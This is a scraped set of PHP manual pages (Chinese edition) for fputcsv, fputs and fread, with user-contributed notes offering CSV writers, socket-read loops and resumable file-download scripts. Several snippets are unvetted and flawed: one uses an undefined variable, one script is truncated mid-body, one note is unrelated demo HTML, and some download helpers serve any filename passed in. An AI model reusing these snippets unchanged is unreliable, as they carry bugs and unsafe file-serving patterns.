function mssafe_csv($filepath, $data, $header = array())
{
    if ( $fp = fopen($filepath, 'w') ) {
        $show_header = true;
        if ( empty($header) ) {
            $show_header = false;
            reset($data);
            $line = current($data);
            if ( !empty($line) ) {
                reset($line);
                $first = current($line);
                if ( substr($first, 0, 2) == 'ID' && !preg_match('/["\\s,]/', $first) ) {
                    array_shift($data);
                    array_shift($line);
                    if ( empty($line) ) {
                        fwrite($fp, "\"{$first}\"\r\n");
                    } else {
                        fwrite($fp, "\"{$first}\",");
                        fputcsv($fp, $line);
                        fseek($fp, -1, SEEK_CUR);
                        fwrite($fp, "\r\n");
                    }
                }
            }
        } else {
            reset($header);
            $first = current($header);
            if ( substr($first, 0, 2) == 'ID' && !preg_match('/["\\s,]/', $first) ) {
                array_shift($header);
                if ( empty($header) ) {
                    $show_header = false;
                    fwrite($fp, "\"{$first}\"\r\n");
                } else {
                    fwrite($fp, "\"{$first}\",");
                }
            }
        }
        if ( $show_header ) {
            fputcsv($fp, $header);
            fseek($fp, -1, SEEK_CUR);
            fwrite($fp, "\r\n");
        }
        foreach ( $data as $line ) {
            fputcsv($fp, $line);
            fseek($fp, -1, SEEK_CUR);
            fwrite($fp, "\r\n");
        }
        fclose($fp);
    } else {
        return false;
    }
    return true;
}

?>
nate at example dot com 19-Nov-2008 10:17
Alright, after playing a while, I'm confident the following replacement function works in all cases, including the ones for which the native fputcsv function fails. If fputcsv fails to work for you (particularly with mysql csv imports), try this function as a drop-in replacement instead.

Arguments to pass in are exactly the same as for fputcsv, though I have added an additional $mysql_null boolean which allows one to turn php null's into mysql-insertable nulls (by default, this add-on is disabled, thus working identically to fputcsv [except this one works!]).

<?php

function fputcsv2 ($fh, array $fields, $delimiter = ',', $enclosure = '"', $mysql_null = false) {
    $delimiter_esc = preg_quote($delimiter, '/');
    $enclosure_esc = preg_quote($enclosure, '/');

    $output = array();
    foreach ($fields as $field) {
        if ($field === null && $mysql_null) {
            $output[] = 'NULL';
            continue;
        }

        $output[] = preg_match("/(?:${delimiter_esc}|${enclosure_esc}|\s)/", $field) ? (
            $enclosure . str_replace($enclosure, $enclosure . $enclosure, $field) . $enclosure
        ) : $field;
    }

    fwrite($fh, join($delimiter, $output) . "\n");
}

// the _EXACT_ LOAD DATA INFILE command to use
// (if you pass in something different for $delimiter
// and/or $enclosure above, change them here too;
// but _LEAVE ESCAPED BY EMPTY!_).
/*
LOAD DATA INFILE
    '/path/to/file.csv'

INTO TABLE
    my_table

FIELDS TERMINATED BY
    ','

OPTIONALLY ENCLOSED BY
    '"'

ESCAPED BY
    ''

LINES TERMINATED BY
    '\n'
*/

?>
jon+dontspamme at phpsitesolutions dot com 29-Jul-2008 10:44
I found that the fputcsv examples for PHP 4 missed one thing, that was proper handling of the $enclosure value when it is a quote (if a quote is passed in a field, and it is delimited by a slash, it will be improperly handled by the functions submitted here).

My modified function was built using the actual PHP5 source for fputcsv, with the addition of properly reacting to the existence of a delimited quote in the field being processed.

<?php
if (!function_exists('fputcsv')) {
    function fputcsv(&$handle, $fields = array(), $delimiter = ',', $enclosure = '"') {

        // Sanity Check
        if (!is_resource($handle)) {
            trigger_error('fputcsv() expects parameter 1 to be resource, ' .
                gettype($handle) . ' given', E_USER_WARNING);
            return false;
        }

        if ($delimiter!=NULL) {
            if( strlen($delimiter) < 1 ) {
                trigger_error('delimiter must be a character', E_USER_WARNING);
                return false;
            }elseif( strlen($delimiter) > 1 ) {
                trigger_error('delimiter must be a single character', E_USER_NOTICE);
            }

            /* use first character from string */
            $delimiter = $delimiter[0];
        }

        if( $enclosure!=NULL ) {
             if( strlen($enclosure) < 1 ) {
                trigger_error('enclosure must be a character', E_USER_WARNING);
                return false;
            }elseif( strlen($enclosure) > 1 ) {
                trigger_error('enclosure must be a single character', E_USER_NOTICE);
            }

            /* use first character from string */
            $enclosure = $enclosure[0];
       }

        $i = 0;
        $csvline = '';
        $escape_char = '\\';
        $field_cnt = count($fields);
        $enc_is_quote = in_array($enclosure, array('"',"'"));
        reset($fields);

        foreach( $fields AS $field ) {

            /* enclose a field that contains a delimiter, an enclosure character, or a newline */
            if( is_string($field) && (
                strpos($field, $delimiter)!==false ||
                strpos($field, $enclosure)!==false ||
                strpos($field, $escape_char)!==false ||
                strpos($field, "\n")!==false ||
                strpos($field, "\r")!==false ||
                strpos($field, "\t")!==false ||
                strpos($field, ' ')!==false ) ) {

                $field_len = strlen($field);
                $escaped = 0;

                $csvline .= $enclosure;
                for( $ch = 0; $ch < $field_len; $ch++ )    {
                    if( $field[$ch] == $escape_char && $field[$ch+1] == $enclosure && $enc_is_quote ) {
                        continue;
                    }elseif( $field[$ch] == $escape_char ) {
                        $escaped = 1;
                    }elseif( !$escaped && $field[$ch] == $enclosure ) {
                        $csvline .= $enclosure;
                    }else{
                        $escaped = 0;
                    }
                    $csvline .= $field[$ch];
                }
                $csvline .= $enclosure;
            } else {
                $csvline .= $field;
            }

            if( $i++ != $field_cnt ) {
                $csvline .= $delimiter;
            }
        }

        $csvline .= "\n";

        return fwrite($handle, $csvline);
    }
}
?>
ifunk 16-Sep-2007 06:04
I converted this from the PHP source code. This replicates PHP5 functionality exactly, whereas the other examples here do not.

<?php

if (!function_exists('fputcsv')) {

  function fputcsv(&$handle, $fields = array(), $delimiter = ',', $enclosure = '"') {
    $str = '';
    $escape_char = '\\';
    foreach ($fields as $value) {
      if (strpos($value, $delimiter) !== false ||
          strpos($value, $enclosure) !== false ||
          strpos($value, "\n") !== false ||
          strpos($value, "\r") !== false ||
          strpos($value, "\t") !== false ||
          strpos($value, ' ') !== false) {
        $str2 = $enclosure;
        $escaped = 0;
        $len = strlen($value);
        for ($i=0;$i<$len;$i++) {
          if ($value[$i] == $escape_char) {
            $escaped = 1;
          } else if (!$escaped && $value[$i] == $enclosure) {
            $str2 .= $enclosure;
          } else {
            $escaped = 0;
          }
          $str2 .= $value[$i];
        }
        $str2 .= $enclosure;
        $str .= $str2.$delimiter;
      } else {
        $str .= $value.$delimiter;
      }
    }
    $str = substr($str,0,-1);
    $str .= "\n";
    return fwrite($handle, $str);
  }

}

?>
alexxed thething gmail thething com 10-Aug-2007 12:28
A event simpler way:

<?php
    function fputcsv($hFile, $aRow, $sSeparator=',', $sEnclosure='"')
    {
       foreach ($aRow as $iIdx=>$sCell)
          $aRow[$iIdx] = str_replace($sEnclosure, $sEnclosure.$sEnclosure, $sCell);

       fwrite($hFile, join($aRow, $sSeparator)."\n");
    }
?>
bl at mindbench dot nl 26-Mar-2007 12:55
If you need to save the output to a variable (e.g. for use within a framework) you can write to a temporary memory-wrapper and retrieve it's contents:

<?php
// output up to 5MB is kept in memory, if it becomes bigger it will automatically be written to a temporary file
$csv = fopen('php://temp/maxmemory:'. (5*1024*1024), 'r+');

fputcsv($csv, array('blah','blah'));

rewind($csv);

// put it all in a variable
$output = stream_get_contents($csv);
?>
MagicalTux at ooKoo dot org 18-Jan-2007 06:08
If you need to send a CSV file directly to the browser, without writing in an external file, you can open the output and use fputcsv on it..

<?php
$out = fopen('php://output', 'w');
fputcsv($out, array('this','is some', 'csv "stuff", you know.'));
fclose($out);
?>
boonerunner at hotmail dot com 15-Sep-2005 07:47
Here is an adaption of the above code that adds support for double quotes inside a field. (One double quote is replaced with a pair of double quotes per the CSV format).

<?php
 function fputcsv($filePointer,$dataArray,$delimiter,$enclosure)
  {
  // Write a line to a file
  // $filePointer = the file resource to write to
  // $dataArray = the data to write out
  // $delimeter = the field separator

  // Build the string
  $string = "";

  // No leading delimiter
  $writeDelimiter = FALSE;
  foreach($dataArray as $dataElement)
   {
    // Replaces a double quote with two double quotes
    $dataElement=str_replace("\"", "\"\"", $dataElement);

    // Adds a delimiter before each field (except the first)
    if($writeDelimiter) $string .= $delimiter;

    // Encloses each field with $enclosure and adds it to the string
    $string .= $enclosure . $dataElement . $enclosure;

    // Delimiters are used every time except the first.
    $writeDelimiter = TRUE;
   } // end foreach($dataArray as $dataElement)

  // Append new line
  $string .= "\n";

  // Write the string to the file
  fwrite($filePointer,$string);
  }
?>
drew at zitnay dot com 22-Nov-2004 09:42
[EDIT BY danbrown AT php DOT net: This is a revised function with a few bugfixes and improvements done by this author.  The original function example was written by arthur AT mclean DOT ws, and rewritten between by arthur AT korn DOT ch.]

- when calling str_replace(), you must assign $cell the return value or nothing gets saved

- when using strchr(), you should explicitly check !== FALSE, or it'll treat a return value of 0 (found the character at string position 0) as FALSE

- Excel seems to quote not only fields containing commas, but fields containing quotes as well, so I've added another strchr() for quotes; I'm not saying Microsoft knows the correct way for sure, but it seems reasonable to me

- the original function put a space after each comma; that might be legal, I don't know, but I've never seen it (and I don't think it is, because then how would you indicate you wanted a field to start with a space other than by quoting it?)

- the original function didn't correctly return the length of the data outputted

Here's the function, fixed up a bit:

<?php
function fputcsv($handle, $row, $fd=',', $quot='"')
{
   $str='';
   foreach ($row as $cell) {
       $cell=str_replace(Array($quot,        "\n"),
                         Array($quot.$quot,  ''),
                         $cell);
       if (strchr($cell, $fd)!==FALSE || strchr($cell, $quot)!==FALSE) {
           $str.=$quot.$cell.$quot.$fd;
       } else {
           $str.=$cell.$fd;
       }
   }

   fputs($handle, substr($str, 0, -1)."\n");

   return strlen($str);
}
?>

Drew


fwrite 的别名

  • ? fputcsv
  • fread ?
  • PHP Manual
  • 文件系统函数
  • fwrite 的别名

fputs

(PHP 4, PHP 5, PHP 7, PHP 8)

fputs — fwrite() 的别名

说明

此函数是该函数的别名：fwrite()。

User Contributed Notes

rembert at floating-point dot nl 21-Nov-2002 04:03
Adding to Adam (Nedstat):
fputs without the length parm just writes all data up to but not including the first 0 byte it encounters.

Therefore fputs($fp,"hello\0world") will only write hello to $fp whereas
fputs($fp,"hello\0world",11) will write both words.

If this doesn't make sense for you, remember strings are always terminated with that 0 byte. Binary data doesn't have such a terminator byte as a 0 byte can be a completely valid piece of data therefore you always need to know the length of the binary datapart.

BTW strlen() is binary safe, so you can use that to get the length of the binary data part as well - this is different from C which counts the number of chars up to the 0 byte. So the example above could also be written as:

fputs($fp,"hello\0world",strlen("hello\0world"))
08-Oct-2000 12:07
You can use here-documents in PHP but not for printing to a file pointer.

There's a lot to say on them so just go to the page: http://www.php.net/manual/language.types.string.php


读取文件（可安全用于二进制文件）

  • ? fputs
  • fscanf ?
  • PHP Manual
  • 文件系统函数
  • 读取文件（可安全用于二进制文件）

fread

(PHP 4, PHP 5, PHP 7, PHP 8)

fread — 读取文件（可安全用于二进制文件）

说明

fread(resource $stream, int $length): string|false

fread() 从文件指针 stream 读取最多 length 个字节。 该函数在遇上以下几种情况时停止读取文件：

  • 读取了 length 个字节
  • 到达了文件末尾（EOF）
  • a packet becomes available or the socket timeout occurs (for network streams)
  • if the stream is read buffered and it does not represent a plain file, at most one read of up to a number of bytes equal to the chunk size (usually 8192) is made; depending on the previously buffered data, the size of the returned data may be larger than the chunk size.

参数

stream

文件系统指针，是典型地由 fopen() 创建的 resource(资源)。

length

最多读取 length 个字节。

返回值

返回所读取的字符串， 或者在失败时返回 false。

示例

Example #1 一个简单的 fread() 例子

<?php
// get contents of a file into a string
$filename = "/usr/local/something.txt";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>

Example #2 Binary fread() example

Warning

在区分二进制文件和文本文件的系统上（如 Windows）打开文件时，fopen() 函数的 mode 参数要加上 'b'。

<?php
$filename = "c:\\files\\somepic.gif";
$handle = fopen($filename, "rb");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>

Example #3 Remote fread() examples

Warning

当从任何不是普通本地文件读取时，例如在读取从远程文件或 popen() 以及 fsockopen() 返回的流时，读取会在一个包可用之后停止。这意味着应该如下例所示将数据收集起来合并成大块。

<?php
$handle = fopen("http://www.example.com/", "rb");
if (FALSE === $handle) {
exit("Failed to open stream to URL");
}

$contents = stream_get_contents($handle);

fclose($handle);
?>
<?php
$handle = fopen("http://www.example.com/", "rb");
$contents = '';
while (!feof($handle)) {
$contents .= fread($handle, 8192);
}
fclose($handle);
?>

注释

Note:

如果只是想将一个文件的内容读入到一个字符串中，用 file_get_contents()，它的性能比上面的代码好得多。

Note:

Note that fread() reads from the current position of the file pointer. Use ftell() to find the current position of the pointer and rewind() to rewind the pointer position.

参见

  • fwrite() - 写入文件（可安全用于二进制文件）
  • fopen() - 打开文件或者 URL
  • fsockopen() - 打开 Internet 或者 Unix 套接字连接
  • popen() - 打开进程文件指针
  • fgets() - 从文件指针中读取一行
  • fgetss() - 从文件指针中读取一行并过滤掉 HTML 标记
  • fscanf() - 从文件中格式化输入
  • file() - 把整个文件读入一个数组中
  • fpassthru() - 输出文件指针处的所有剩余数据
  • fseek() - 在文件指针中定位
  • ftell() - 返回文件指针读/写的位置
  • rewind() - 倒回文件指针的位置
  • unpack() - Unpack data from binary string

User Contributed Notes

Wvss at gmail dot com 16-May-2022 05:26
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <?php
    require_once "person.class.php";
    require_once "schueler.class.php";
    require_once "lehrer.class.php";
    //$p = new Person("Hans", "Wurst");
    //$p->ausgabe();

    $s = new Schueler("Kevin", "Mayer", "FTET3");
    $s->ausgabe();

     Lehrer::$maxGehaltsStufe = 16;
    $l = new Lehrer("Karl", "Napf", 13);
    $l->ausgabe();
    $l->befoerdern();
    $l->ausgabe();
    $l->befoerdern();
    $l->ausgabe();
    $l->befoerdern();
    $l->ausgabe();
    $l->befoerdern();
    $l->ausgabe();
    ?>
</body>
</html>
john dot wellesz at teaser dot com 07-Jul-2014 08:52
Note that fread() will return '' (empty string) when a timeout occurs unlike socket_read() which returns false...
fread at imperium dot be 11-Feb-2014 05:13
My script was based on example 3b, but used up 100% CPU when a timeout occurred that wasn't "seen". This is very bad. So here's my code, hoping this will help people out there with the same problem. Obviously first use $rPage = fsockopen(...) and fwrite($rPage,...) and such, after which:

    $sPage    = ''; // the page goes in here
    $iTimeout    = 5; // set the timeout in seconds
    stream_set_timeout($rPage,$iTimeout);
    stream_set_blocking($rPage,0);
    $fTimeout    = microtime(true);
    do {
        if (($sRead = fread($rPage,8192))!==false and strlen($sRead)) {
            $sPage    .= $sRead; }
        else {
            usleep(10000); } // 0.01 second
        $aInfo    = stream_get_meta_data($rPage); }
    while (!feof($rPage) and !$aInfo['timed_out'] and microtime(true)-$fTimeout<$iTimeout);
    fclose($rPage);
    // now simply decompress and unchunk $sPage, if need be

Above code will make sure the timeout is used, because this isn't always detected properly. In addition, the usleep() will keep the CPU in check.
dharmilshah at gmail dot com 12-Dec-2013 11:59
For anyone still trying to write an effective file downloader function/script, the work has been done for you in all the major servers including Apache & nginx.

Using the X-Sendfile header, you can do the following:

if ($user->isLoggedIn())
{
    header("X-Sendfile: $path_to_somefile_private");
    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"$somefile\"");
}

Apache will serve the file for you while NOT revealing your private file path! Pretty nice. This works on all browsers/download managers and saves a lot of resources.

Documentation:
Apache module: https://tn123.org/mod_xsendfile/
Nginx: http://wiki.nginx.org/XSendfile
Lighttpd: http://blog.lighttpd.net/articles/2006/07/02/x-sendfile/

Hopefully this will save you many hours of work.
box dot afzar at gmail dot com 31-Jan-2013 10:00
I write this script for download with resume suport
<?php
// If user click the download link
if(isset($_GET['filename'])){
        // The directory of downloadable files
        // This directory should be unaccessible from web
        $file_dir="/tmp/";

        // Replace the slash and backslash character with empty string
        // The slash and backslash character can be dangerous
        $file_name=str_replace("/", "", $_GET['filename']);
        $file_name=str_replace("\\", "", $file_name);

        // If the requested file is exist
        if(file_exists($file_dir.$file_name)){
                // Get the file size
                $file_size=filesize($file_dir.$file_name);
                // Open the file
                $fh=fopen($file_dir.$file_name, "r");

                // Download speed in KB/s
                $speed=5;

                // Initialize the range of bytes to be transferred
                $start=0;
                $end=$file_size-1;

                // Check HTTP_RANGE variable
                if(isset($_SERVER['HTTP_RANGE']) &&
                        preg_match('/^bytes=(\d+)-(\d*)/', $_SERVER['HTTP_RANGE'], $arr)){

                        // Starting byte
                        $start=$arr[1];
                        if($arr[2]){
                                // Ending byte
                                $end=$arr[2];
                        }
                }

                // Check if starting and ending byte is valid
                if($start>$end || $start>=$file_size){
                        header("HTTP/1.1 416 Requested Range Not Satisfiable");
                        header("Content-Length: 0");
                }
                else{
                        // For the first time download
                        if($start==0 && $end==$file_size){
                                // Send HTTP OK header
                                header("HTTP/1.1 200 OK");
                        }
                        else{
                                // For resume download
                                // Send Partial Content header
                                header("HTTP/1.1 206 Partial Content");
                                // Send Content-Range header
                                header("Content-Range: bytes ".$start."-".$end."/".$file_size);
                        }

                        // Bytes left
                        $left=$end-$start+1;

}
?>
<html>
<head>
        <title>Home</title>
</head>
<body>
        <a href="index.php?filename=file.pdf">Download</a>
</body>
</html>
andrej dot frelih at gmail dot com 27-Dec-2011 04:35
Another sample function that supports from/to range requests:

<?php
function download_file($file_name) {

    if (!file_exists($file_name)) { die("<b>404 File not found!</b>"); }

    $file_extension = strtolower(substr(strrchr($file_name,"."),1));
    $file_size = filesize($file_name);
    $md5_sum = md5_file($file_name);

   //This will set the Content-Type to the appropriate setting for the file
    switch($file_extension) {
        case "exe": $ctype="application/octet-stream"; break;
        case "zip": $ctype="application/zip"; break;
        case "mp3": $ctype="audio/mpeg"; break;
        case "mpg":$ctype="video/mpeg"; break;
        case "avi": $ctype="video/x-msvideo"; break;

        //The following are for extensions that shouldn't be downloaded (sensitive stuff, like php files)
        case "php":
        case "htm":
        case "html":
        case "txt": die("<b>Cannot be used for ". $file_extension ." files!</b>"); break;

        default: $ctype="application/force-download";
    }

    if (isset($_SERVER['HTTP_RANGE'])) {
        $partial_content = true;
        $range = explode("-", $_SERVER['HTTP_RANGE']);
        $offset = intval($range[0]);
        $length = intval($range[1]) - $offset;
    }
    else {
        $partial_content = false;
        $offset = 0;
        $length = $file_size;
    }

    //read the data from the file
    $handle = fopen($file_name, 'r');
    $buffer = '';
    fseek($handle, $offset);
    $buffer = fread($handle, $length);
    $md5_sum = md5($buffer);
    if ($partial_content) $data_size = intval($range[1]) - intval($range[0]);
    else $data_size = $file_size;
    fclose($handle);

    // send the headers and data
    header("Content-Length: " . $data_size);
    header("Content-md5: " . $md5_sum);
    header("Accept-Ranges: bytes");
    if ($partial_content) header('Content-Range: bytes ' . $offset . '-' . ($offset + $length) . '/' . $file_size);
    header("Connection: close");
    header("Content-type: " . $ctype);
    header('Content-Disposition: attachment; filename=' . $file_name);
    echo $buffer;
    flush();
}
?>
randym 20-Aug-2011 10:45
Concerning [problems with UTF-8 and] downloading Zip files I found that simply adding 3 lines of code before starting the fread to the buffer for delivery in all browsers solved the problem.

<?php
    ob_end_clean();
    ob_start();
    header( 'Content-Type:' );
?>

... see where placed in the function below:

<?php
function readfile_chunked( $filename, $retbytes = true ) {
    $chunksize = 1 * (1024 * 1024); // how many bytes per chunk
    $buffer = '';
    $cnt = 0;
    $handle = fopen( $filename, 'rb' );
    if ( $handle === false ) {
        return false;
    }
    ob_end_clean(); //added to fix ZIP file corruption
    ob_start(); //added to fix ZIP file corruption
    header( 'Content-Type:' ); //added to fix ZIP file corruption
    while ( !feof( $handle ) ) {
        $buffer = fread( $handle, $chunksize );
        //$buffer = str_replace("???","",$buffer);
        echo $buffer;
        ob_flush();
        flush();
        if ( $retbytes ) {
            $cnt += strlen( $buffer );
        }
    }
    $status = fclose( $handle );
    if ( $retbytes && $status ) {
        return $cnt; // return num. bytes delivered like readfile() does.
    }
    return $status;
}
?>
Anonymous 18-Mar-2011 05:59
If you serve a file download over PHP with fread and print/echo and experience corrupted binary files, chances are the server still uses magic quotes and escapes the null bytes in your file. Although from 5.3.0 magic quotes are no longer supported, you might still encounter this problem. Try to turn them off by placing this code before using fread:

<?php
@ini_set('magic_quotes_runtime', 0);
?>
NOopensourceSPAM at prodigy7 dot de 21-Sep-2010 06:45
Somehow all code samples for downloads, described here, doesn't work right for me.
When I download a big file readfile or fread in b mode, the final file hasn't the same md5 like the originial.

Some tests helps me, finding a solution:

<?php
            $fp = fopen($DownloadFile, 'rb');
            while ( $cline = fgets($fp) )
            {
                print $cline;
            }
            fclose($fp);
?>

Somehow, it's "binary safe" and deliver that file which are read. md5 original and download are the same.
david at identd dot dyndns dot org 05-May-2010 06:27
Note to IIS admins:

When using PHP via the FastCGI ISAPI extension, there is a script timeout of approximately 1hr that cannot be adjusted. When using PHP via CGI, there is a script timeout that is based upon the value of the CGITimeout configuration option. This value must be set extremely high if you plan to serve large files. An explanation of how to configure this option can be found here: http://www.iisadmin.co.uk/?p=7 If you do not modify this setting you can expect the above scripts to fail silently once it has hit the default value (30 minutes in my case).
edgarinvillegas at hotmail dot com 30-Aug-2009 12:16
I had a fread script that hanged forever (from php manual):

<?php
$fp = fsockopen("example.host.com", 80);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "Data sent by socket");
    $content = "";
    while (!feof($fp)) {  //This looped forever
        $content .= fread($fp, 1024);
    }
    fclose($fp);
    echo $content;
}
?>

The problem is that sometimes end of streaming is not marked by EOF nor a fixed mark, that's why this looped forever. This caused me a lot of headaches...
I solved it using the stream_get_meta_data function and a break statement as the following shows:

<?php
$fp = fsockopen("example.host.com", 80);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "Data sent by socket");
    $content = "";
    while (!feof($fp)) {
        $content .= fread($fp, 1024);
        $stream_meta_data = stream_get_meta_data($fp); //Added line
         if($stream_meta_data['unread_bytes'] <= 0) break; //Added line
    }
    fclose($fp);
    echo $content;
}
?>

Hope this will save a lot of headaches to someone.

(Greetings, from La Paz-Bolivia)
James Ranson 13-Jan-2009 04:20
Tom, the idea for the examples below is to ensure the user has proper credentials before serving the file. With that security in mind, the suggestion of a 302 redirection seems like a risky idea. Anyone with a modicum of networking experience can run a TCP trace and see the 302 Redirect response, as it is actually a response received by the client browser; the browser then makes a subsequent http request for the URL provided in the Location header.  When that 302 response is captured by wireshark, the 'secret' location is then exposed and can be shared with anyone who wishes to bypass the authorization routines in the php.

The only way to secure this would be for the 302 Redirection response to include some kind of unique, per-request, expiring authorization token, either on the end of the url or in a set-cookie, that is then checked by an authorization module implemented within the hosting webserver. Otherwise, you're relegated to the methods described below.
tom 29-Oct-2008 08:11
Various scripts suggested here attempt to deliver a file for download to a client. Handling http protocol features such as HTTP_RANGE is not trivial; neither is handling flow control with the server, memory and time limits when the files are large.

An alternative is to let the web server can handle http by redirecting to the file in question. It's not uncommon e.g. http://www.apple.com/downloads/macosx/ does this.

A PHP script can do any checks needed (security, authentication, validate the file) and any other tasks before calling header("Location $urltofile");

I tested this with apache. Interrupt/resume download works. The server's mime type configuration will determine client behavior. For apache, if defaults in mime.types are not suitable, configuration directives for mod_mime could go in a .htaccess file in the directory of the file to download. If really necessary, these could even by written by the PHP script before it redirects.
Anonymous 27-Oct-2008 04:50
This code is buggy
<?php
$contents = '';
while (!feof($handle)) {
  $contents .= fread($handle, 8192);
}
?>
When you read a file whose size is a multiple of the readsize (8192 here), then the loop is executed when there are no more data to read. Here, the result of fread() is not checked, and so the instruction
<?php
$contents .= fread($handle, 8192)
?>
is executed once with no data from fread(). In this very case, it is not important, but in some situation it could be harmful.

The good way to read a file block by block is :
<?php
while ( ($buf=fread( $handle, 8192 )) != '' ) {
    // Here, $buf is guaranted to contain data
    $contents .= $buf;
}
if($buf===FALSE) {
    echo "THERE WAS AN ERROR READING\n";
}
?>
Anonymous 18-Sep-2008 06:46
It might be worth noting that if your site uses a front controller with sessions and you send a large file to a user; you should end the session just before sending the file, otherwise the user will not be able to continue continue browsing the site while the file is downloading.
Edward Jaramilla 28-Jun-2008 11:45
I couldn't get some of the previous resume scripts to work with Free Download Manager or Firefox.  I did some clean up and modified the code a little.

Changes:
1. Added a Flag to specify if you want download to be resumable or not
2. Some error checking and data cleanup for invalid/multiple ranges based on http://tools.ietf.org/id/draft-ietf-http-range-retrieval-00.txt
3. Always calculate a $seek_end even though the range specification says it could be empty... eg: bytes 500-/1234
4. Removed some Cache headers that didn't seem to be needed. (add back if you have problems)
5. Only send partial content header if downloading a piece of the file (IE workaround)

<?php

function dl_file_resumable($file, $is_resume=TRUE)
{
    //First, see if the file exists
    if (!is_file($file))
    {
        die("<b>404 File not found!</b>");
    }

    //Gather relevent info about file
    $size = filesize($file);
    $fileinfo = pathinfo($file);

    //workaround for IE filename bug with multiple periods / multiple dots in filename
    //that adds square brackets to filename - eg. setup.abc.exe becomes setup[1].abc.exe
    $filename = (strstr($_SERVER['HTTP_USER_AGENT'], 'MSIE')) ?
                  preg_replace('/\./', '%2e', $fileinfo['basename'], substr_count($fileinfo['basename'], '.') - 1) :
                  $fileinfo['basename'];

    $file_extension = strtolower($path_info['extension']);

    //This will set the Content-Type to the appropriate setting for the file
    switch($file_extension)
    {
        case 'exe': $ctype='application/octet-stream'; break;
        case 'zip': $ctype='application/zip'; break;
        case 'mp3': $ctype='audio/mpeg'; break;
        case 'mpg': $ctype='video/mpeg'; break;
        case 'avi': $ctype='video/x-msvideo'; break;
        default:    $ctype='application/force-download';
    }

    //check if http_range is sent by browser (or download manager)
    if($is_resume && isset($_SERVER['HTTP_RANGE']))
    {
        list($size_unit, $range_orig) = explode('=', $_SERVER['HTTP_RANGE'], 2);

        if ($size_unit == 'bytes')
        {
            //multiple ranges could be specified at the same time, but for simplicity only serve the first range
            //http://tools.ietf.org/id/draft-ietf-http-range-retrieval-00.txt
            list($range, $extra_ranges) = explode(',', $range_orig, 2);
        }
        else
        {
            $range = '';
        }
    }
    else
    {
        $range = '';
    }

    //figure out download piece from range (if set)
    list($seek_start, $seek_end) = explode('-', $range, 2);

    //set start and end based on range (if set), else set defaults
    //also check for invalid ranges.
    $seek_end = (empty($seek_end)) ? ($size - 1) : min(abs(intval($seek_end)),($size - 1));
    $seek_start = (empty($seek_start) || $seek_end < abs(intval($seek_start))) ? 0 : max(abs(intval($seek_start)),0);

    //add headers if resumable
    if ($is_resume)
    {
        //Only send partial content header if downloading a piece of the file (IE workaround)
        if ($seek_start > 0 || $seek_end < ($size - 1))
        {
            header('HTTP/1.1 206 Partial Content');
        }

        header('Accept-Ranges: bytes');
        header('Content-Range: bytes '.$seek_start.'-'.$seek_end.'/'.$size);
    }

    //headers for IE Bugs (is this necessary?)
    //header("Cache-Control: cache, must-revalidate");
    //header("Pragma: public");

    header('Content-Type: ' . $ctype);
    header('Content-Disposition: attachment; filename="' . $filename . '"');
    header('Content-Length: '.($seek_end - $seek_start + 1));

    //open the file
    $fp = fopen($file, 'rb');
    //seek to start of missing part
    fseek($fp, $seek_start);

    //start buffered download
    while(!feof($fp))
    {
        //reset time limit for big files
        set_time_limit(0);
        print(fread($fp, 1024*8));
        flush();
        ob_flush();
    }

    fclose($fp);
    exit;
}

?>
mail at 3v1n0 dot net 28-Apr-2008 03:32
This is an hack I've done to download remote files with HTTP resume support. This is useful if you want to write a download script that fetches files remotely and then sends them to the user, adding support to download managers (I tested it on wget). To do that you should also use a "remote_filesize" function that you can easily write/find.

<?php
function readfile_chunked_remote($filename, $seek = 0, $retbytes = true, $timeout = 3) {
    set_time_limit(0);
    $defaultchunksize = 1024*1024;
    $chunksize = $defaultchunksize;
    $buffer = '';
    $cnt = 0;
    $remotereadfile = false;

    if (preg_match('/[a-zA-Z]+:\/\//', $filename))
        $remotereadfile = true;

    $handle = @fopen($filename, 'rb');

    if ($handle === false) {
        return false;
    }

    stream_set_timeout($handle, $timeout);

    if ($seek != 0 && !$remotereadfile)
        fseek($handle, $seek);

    while (!feof($handle)) {

        if ($remotereadfile && $seek != 0 && $cnt+$chunksize > $seek)
            $chunksize = $seek-$cnt;
        else
            $chunksize = $defaultchunksize;

        $buffer = @fread($handle, $chunksize);

        if ($retbytes || ($remotereadfile && $seek != 0)) {
            $cnt += strlen($buffer);
        }

        if (!$remotereadfile || ($remotereadfile && $cnt > $seek))
            echo $buffer;

        ob_flush();
        flush();
    }

    $info = stream_get_meta_data($handle);

    $status = fclose($handle);

    if ($info['timed_out'])
        return false;

    if ($retbytes && $status) {
        return $cnt;
    }

    return $status;
}
?>
shocker at shockingsoft dot com 12-Apr-2008 06:22
If you read from a socket connection or any other stream that may delay when responsing but you want to set a timeout you can use stream_set_timeout():

<?php
$f = fsockopen("127.0.0.1", 123);
if ($f)
 {
  fwrite($f, "hello");
  stream_set_timeout($f, 5); //5 seconds read timeout
  if (!fread($f, 5)) echo "Error while reading";
    else echo "Read ok";
  fclose($f);
 }
?>
matt at matt-darby dot com 10-Oct-2007 10:32
I thought I had an issue where fread() would fail on files > 30M in size. I tried a file_get_contents() method with the same results. The issue was not reading the file, but echoing its data back to the browser.

Basically, you need to split up the filedata into manageable chunks before firing it off to the browser:

<?php

$total     = filesize($filepath);
$blocksize = (2 << 20); //2M chunks
$sent      = 0;
$handle    = fopen($filepath, "r");

// Push headers that tell what kind of file is coming down the pike
header('Content-type: '.$content_type);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-length: '.$filesize * 1024);

// Now we need to loop through the file and echo out chunks of file data
// Dumping the whole file fails at > 30M!
while($sent < $total){
    echo fread($handle, $blocksize);
    $sent += $blocksize;
}

exit(0);

?>

Hope this helps someone!
kai at froghh dot de 10-May-2007 07:52
reading from a socket stream can be different to the
behaviour expected, since you have not set
stream_set_blocking to 1.
sample source:
<?php
$fp = fsockopen ($server, $port, $errno, $errstr, $socket_timeout);
$header = '';
do {
    $header.=fread($fp,1);
    $i++;
} while (!preg_match('/\\r\\n\\r\\n$/', $header) && $i < $maxheaderlenth);
